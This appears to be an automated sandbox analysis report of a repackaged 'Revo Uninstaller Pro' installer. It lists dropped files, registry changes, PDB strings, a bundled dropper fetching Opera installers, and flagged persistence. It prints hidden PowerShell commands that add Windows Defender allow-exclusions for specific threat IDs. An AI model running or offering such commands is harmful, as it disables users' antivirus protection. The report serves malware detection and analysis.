Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\japanese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\korean.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\kurdish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\macedonian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\norwegian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\persian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\polish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese_standard.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguesebrazil.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\romanian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\russian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbianLatin.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\simplifiedchinese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovak.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovenian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\spanish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\swedish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\thai.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\traditionalchinese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\turkish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\ukrainian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\vietnamese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Revo Uninstaller Pro

Jump to behavior

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static file information: File size 22221229 > 1048576

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: PACK.EXE, 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmp, PACK.EXE, 00000010.00000003.2196303250.0000000004E01000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2194996794.00000000045FE000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000000.2193337281.0000000001002000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x64\Release\VSProjectPro\VSProjectPro64.pdbU source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x86\Release\VSProjectPro\VSProjectPro.pdbO source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x64\Release\VSProjectPro\VSProjectPro64.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoAppBar\x64\Release\RevoAppBar.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000005140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoAppBar\Release\RevoAppBar.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.00000000033A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoUninProPort\Release\RevoUPPort.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: installer_lib.dll.pdb source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: c:\minispy\filter\objfre_wlh_x86\i386\revoflt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: installer_lib.dll.pdb@ source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RUExt\build\x86\Release\RUExt\RUExt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoCmd\Release\RevoCmd.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x86\Release\VSProjectPro\VSProjectPro.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\minispy\filter\objfre_wlh_x86\i386\revoflt.pdb2 source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoCmd\x64\Release\RevoCmd.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ognian\source\repos\revoflt\Release\revoflt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147781989 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147735505 -ThreatIDDefaultAction_Actions Allow -Force"
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noninteractive -windowStyle hidden -noprofile -command "Add-MpPreference -ThreatIDDefaultAction_Ids 2147814523 -ThreatIDDefaultAction_Actions Allow -Force"

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_4852875

Source: Uninstall.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2d16e
Source: System.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x39be
Source: ya.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x31f21
Source: System.dll.26.dr	Static PE information: real checksum: 0x0 should be: 0x39be
Source: INetC.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x4238d
Source: OperaSetup[1].exe.26.dr	Static PE information: real checksum: 0x2235ff should be: 0x226a34
Source: PACK.EXE.0.dr	Static PE information: real checksum: 0x184409 should be: 0x72a2e
Source: OperaSetup.exe.26.dr	Static PE information: real checksum: 0x2235ff should be: 0x226a34
Source: nsExec.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x939f
Source: LangDLL.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xeae7
Source: tsjtmfdm[1].pkg.0.dr	Static PE information: real checksum: 0x184409 should be: 0x72a2e
Source: INetC.dll.26.dr	Static PE information: real checksum: 0x0 should be: 0x4238d
Source: nsDialogs.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x11042

Source: RevoAppBar.exe.0.dr	Static PE information: section name: .giats
Source: RevoUnPro.exe.0.dr	Static PE information: section name: .giats
Source: RevoUninPro.exe.0.dr	Static PE information: section name: .giats
Source: ruplp.exe.0.dr	Static PE information: section name: .didata
Source: Opera_installer_2412091654075368040.dll.28.dr	Static PE information: section name: .rodata
Source: Opera_installer_2412091654075368040.dll.28.dr	Static PE information: section name: CPADinfo
Source: Opera_installer_2412091654075368040.dll.28.dr	Static PE information: section name: malloc_h
Source: Opera_installer_2412091654079011640.dll.29.dr	Static PE information: section name: .rodata
Source: Opera_installer_2412091654079011640.dll.29.dr	Static PE information: section name: CPADinfo
Source: Opera_installer_2412091654079011640.dll.29.dr	Static PE information: section name: malloc_h
Source: Opera_installer_2412091654087472252.dll.30.dr	Static PE information: section name: .rodata
Source: Opera_installer_2412091654087472252.dll.30.dr	Static PE information: section name: CPADinfo
Source: Opera_installer_2412091654087472252.dll.30.dr	Static PE information: section name: malloc_h
Source: Opera_installer_2412091654101308068.dll.31.dr	Static PE information: section name: .rodata
Source: Opera_installer_2412091654101308068.dll.31.dr	Static PE information: section name: CPADinfo
Source: Opera_installer_2412091654101308068.dll.31.dr	Static PE information: section name: malloc_h
Source: Opera_installer_2412091654106048056.dll.32.dr	Static PE information: section name: .rodata
Source: Opera_installer_2412091654106048056.dll.32.dr	Static PE information: section name: CPADinfo
Source: Opera_installer_2412091654106048056.dll.32.dr	Static PE information: section name: malloc_h

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEE336 push ecx; ret	16_2_00FEE349
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FED870 push eax; ret	16_2_00FED88E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048C42BD push ebx; ret	17_2_048C42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048C5EB2 push esp; ret	17_2_048C5EC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048C6820 push eax; ret	17_2_048C6833
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_048C3A98 push ebx; retf	17_2_048C3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_05177711 push eax; ret	21_2_05177723
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_051742A8 push ebx; ret	21_2_051742DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_051722FD pushad ; ret	21_2_05172301
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_05175EB0 push esp; ret	21_2_05175EC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_05173A98 push ebx; retf	21_2_05173ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_08D4128A push eax; ret	21_2_08D412A3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04675EB0 push esp; ret	23_2_04675EC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04673AB8 push ebx; retf	23_2_04673ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_08272F23 push eax; ret	23_2_08272F33

Persistence and Installation Behavior

Possible COM Object hijacking

Source: c:\program files\vs revo group\revo uninstaller pro\ruext.dll

COM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{2c5515dc-2a7e-4bfd-b813-cacc2b685eb7}\inprocserver32

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	File created: C:\Users\user\Downloads\OperaSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Opera_115.0.5322.77_Autoupdate_x64[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654101308068.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654087472252.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	Jump to dropped file
Source: C:\Users\user\Downloads\OperaSetup.exe	File created: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412091154091\opera_package	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	File created: C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\tsjtmfdm[1].pkg	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\PACK.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OperaSetup[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654075368040.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\System32\drivers\SETB88F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.del (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	File created: C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654079011640.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\LangDLL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\system32\DRIVERS\revoflt.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654106048056.dll	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\System32\drivers\SETB88F.tmp			Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\system32\DRIVERS\revoflt.sys (copy)			Jump to dropped file

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\tsjtmfdm[1].pkg			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412091154091\opera_package			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115408145.log
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115410771.log

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt

Jump to behavior

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\System32\rundll32.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce GrpConv

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\VS Revo Group\Revo Uninstaller Pro\Uninstaller\AllProgs\RegExclude HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services			Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\VS Revo Group\Revo Uninstaller Pro\Uninstaller\Traced\RegExclude HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services			Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Revoflt\Instances

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce GrpConv	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce GrpConv	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce GrpConv	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce GrpConv	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
